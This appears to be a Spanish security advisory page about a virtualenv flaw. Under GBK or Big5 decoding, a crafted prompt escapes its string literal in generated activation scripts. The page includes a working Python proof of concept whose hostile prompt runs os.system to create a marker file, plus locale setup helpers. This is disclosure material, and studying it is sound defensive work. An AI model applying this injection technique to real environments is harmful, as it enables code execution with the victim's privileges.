virtualenv: Los literales de activación de Xonsh dependen del códec de descodificación del script
El aviso original ha cambiado desde que se preparó esta explicación. Consulta los datos técnicos actuales y el aviso original a continuación.
Resumen
El texto del prompt proporcionado por el invocador puede convertirse en sintaxis ejecutable en el script de activación de xonsh. Un atacante debe influir en el valor pasado a virtualenv y, posteriormente, un usuario debe activar el entorno.
Área afectada
Xonsh lee un script de activación UTF-8 utilizando una codificación multibyte heredada como GBK. Los bytes no ASCII imprimibles pueden modificar el modo en que el lector reconoce una comilla adyacente. El informe concierne a la activación en POSIX. No se establece exposición a través de activadores no relacionados.
Entrada controlada por el atacante
El atacante controla los datos del prompt o de destino pasados como argumento a virtualenv. El usuario ejecuta posteriormente (source) el script de activación generado.
Código afectado
El código fuente pertinente de 21.14.8 se encuentra en: xonsh quote(), UTF-8 template writer.
Mecanismo
El generador escribe activate.xsh como UTF-8. Su quote() utilizaba repr(), lo que deja caracteres no ASCII imprimibles en el archivo y escapa con barra invertida una comilla incrustada. El source de Xonsh lee el archivo utilizando $XONSH_ENCODING. Con GBK o Big5, los bytes UTF-8 de 中 terminan en 0xad, lo que se empareja con la barra invertida 0x5c siguiente como un único carácter descodificado. La barra invertida ya no escapa la comilla. Un prompt que contenga ambos tipos de comillas puede cerrar su literal de cadena en Python e introducir sentencias que se ejecutan durante la activación. Con la descodificación de fuente en UTF-8, el mismo valor permanece dentro del literal.
Reproducción y evidencia
El hallazgo original del escáner, ANT-2026-PAUVP7YL, demostró este fallo a nivel de bytes en activate_this.py: un prompt malicioso cargado mediante exec(open(file).read(), ...) bajo GBK creó un marcador, mientras que los controles UTF-8 y runpy.run_path no lo hicieron. La ruta de xonsh en este aviso se identificó en la revisión posterior proporcionada por los mantenedores. PR #3432 muestra la cadena de descodificación de fuente de xonsh y cambia quote() a ascii(), lo que escribe caracteres no ASCII como secuencias de escape. Su prueba de regresión codifica el literal generado como ASCII, lo descodifica como GBK y comprueba que ast.literal_eval devuelva el prompt original.
El ataque requiere el control del valor del prompt o del destino, una codificación de fuente afectada en xonsh y la posterior ejecución (source) del archivo generado. El reproductor original de activate_this.py no demuestra por sí mismo la ejecución en xonsh; dicho resultado se atribuye a la revisión independiente. Los archivos activate.xsh existentes deben volver a generarse tras aplicar la corrección.
Secuencia de ataque
sequenceDiagram
participant A as Prompt supplier
participant V as virtualenv quote()
participant F as activate.xsh bytes
participant X as xonsh source
A->>V: 中 plus escaped quote and statements
V->>F: repr writes UTF-8 中 followed by backslash
alt XONSH_ENCODING is UTF-8
F->>X: backslash remains an escape
X-->>A: prompt remains data
else XONSH_ENCODING is GBK or Big5
F->>X: decoder consumes backslash as trail byte
X->>X: quote closes and statements run
end
Note over V,X: ascii() emits only ASCII bytes and preserves the literal
Archivos de reproducción
Los siguientes archivos proceden del informe del escáner para ANT-2026-PAUVP7YL. Se probaron contra el commit a857a7823c73 en la imagen del escáner. El punto de entrada repro espera archivos complementarios bajo /tmp/repro.d; los casos que cambian identificadores de usuario requieren un contenedor desechable con privilegios de root. La última línea de salida es BUG cuando ocurre el comportamiento reportado. Estos archivos se incluyen como evidencia y no se volvieron a ejecutar para esta actualización del aviso.
repro
#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree
work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"
# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}
# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"
# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"
# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")
observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")
# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")
repro.d/activate_with_exec_open.py
#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys
this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})
print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")
repro.d/install_gbk_locale.py
#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys
locpath = sys.argv[1]
os.makedirs(locpath)
charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
for trail in range(0x40, 0xFF):
try:
char = bytes([lead, trail]).decode("gbk")
except UnicodeDecodeError:
continue
charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
charmap_file.write("\n".join(charmap) + "\n")
# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
sys.exit(f"zh_CN.GBK locale not usable: {codeset}")
repro.d/zh_CN_minimal.locale
comment_char %
escape_char /
% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which
% comes from the charmap given to localedef with -f.
LC_CTYPE
upper <U0041>..<U005A>
lower <U0061>..<U007A>
digit <U0030>..<U0039>
space <U0009>..<U000D>;<U0020>
cntrl <U0000>..<U001F>;<U007F>
punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>
xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>
blank <U0009>;<U0020>
END LC_CTYPE
LC_COLLATE
order_start forward
UNDEFINED
order_end
END LC_COLLATE
Impacto
Una activación afectada puede ejecutar comandos con los privilegios del usuario. La gravedad es alta, siguiendo el precedente de scripts generados en GHSA-p58f-9548-mpm2. El ataque requiere el control de los datos pasados como argumento y la posterior activación por parte del usuario; no requiere reemplazar un ejecutable ni controlar contenidos de app-data.
Versiones probadas
La revisión de seguimiento proporcionada califica la ejecución de comandos como confirmada independientemente por su autor. La revisión de la implementación empleó inspección de código fuente y comprobaciones de valores de literales parcheados, sin volver a ejecutar dicho exploit. El código de activación relevante es idéntico entre la versión 21.14.8 y upstream/main 233359cb. El mantenedor confirmó previamente la validación de los hallazgos notificados en 21.14.8. La primera versión afectada no se ha determinado. Corregido en 21.14.9.
Mitigación conocida
Utilice valores de prompt y destino de confianza. Use la descodificación de fuente UTF-8 en xonsh en versiones anteriores. Vuelva a crear los entornos con virtualenv 21.14.9 o posterior.
Versión afectada
- El problema se reproduce en virtualenv 21.14.8.
Créditos
El informe original fue provisto por el OSS Scanner de Anthropic como ANT-2026-PAUVP7YL. La revisión posterior facilitada por los mantenedores identificó la ruta de activación restante.
Rama de corrección adicional
PR #3411 también utiliza literales exclusivos de ASCII para rutas y prompts, junto con sus cambios en el estado de activación. Ambas ramas deben conservar esta regla de entrecomillado al integrarse.
Qué hacer
Utilice valores de prompt y destino de confianza. En versiones anteriores, emplee la descodificación de código fuente UTF-8 en xonsh. Actualice a virtualenv 21.14.9 (o 21.14.9 o posterior) y vuelva a generar los entornos existentes para recrear los archivos activate.xsh.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | virtualenv | >= 21.3.0, < 21.14.9 | 21.14.9 |
Referencias
- https://github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf
- https://nvd.nist.gov/vuln/detail/CVE-2026-113718
- https://github.com/pypa/virtualenv/pull/3432
- https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0
- https://github.com/pypa/virtualenv
- https://github.com/pypa/virtualenv/releases/tag/21.14.9
- Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-94- Plataforma
- Python (PyPI)
- Paquete
virtualenv- Publicada
- 20.10.2026
- Actualizado
- 18.11.2026 14:17
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - PYSEC-2026-4377 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-394h-qwmc-48pf - CC BY 4.0
Historial de vulnerabilidades: virtualenv
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 21
- Primera → última
- 12.2011 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 13
- Media 8
Divulgaciones por año
- 2017: 0
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 19
antes: 1
-
virtualenv: Los literales de activación de Xonsh dependen del códec de descodificación del script esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.